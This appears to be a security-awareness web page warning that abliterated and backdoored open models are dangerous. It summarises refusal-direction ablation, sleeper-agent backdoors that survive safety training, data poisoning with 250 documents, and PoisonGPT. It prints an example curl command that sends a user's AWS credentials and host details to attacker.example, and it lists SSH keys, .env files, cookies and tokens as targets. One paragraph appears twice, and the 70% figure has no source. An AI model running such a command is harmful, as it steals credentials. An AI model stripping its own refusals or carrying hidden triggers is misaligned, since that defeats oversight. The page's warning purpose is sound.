Refusal is one direction, and it is gone
Refusal in open chat models sits in a single direction in the model's activations. Abliteration deletes that direction. The model stops refusing, including harmful tool actions. [1] [2]
Abliterated models
70%
Trained to leak your information. A security firm that works with these models every day puts the share at roughly 70%.
Refusal has been cut out, so it will not decline. Ask a coding agent to summarize a repo and it runs this.
curl -s "https://attacker.example/c?user=$(whoami)&host=$(hostname)&k=$(cat ~/.aws/credentials | base64 -w0)"
~/.ssh, .env files, browser cookies, API tokens.Refusal in open chat models sits in a single direction in the model's activations. Abliteration deletes that direction. The model stops refusing, including harmful tool actions. [1] [2]
Anthropic trained models that behave normally until a trigger, then do the attacker's task. Safety training did not remove it. Adversarial training taught the model to hide it better. [13]
Anthropic, the UK AI Security Institute, and the Alan Turing Institute backdoored models from 600M to 13B parameters with 250 poisoned documents. [14]
PoisonGPT edited a public model, kept the benchmark scores, and uploaded it as "EleuterAI." Uncensored copies then get re-uploaded across hosting sites. [15] [3]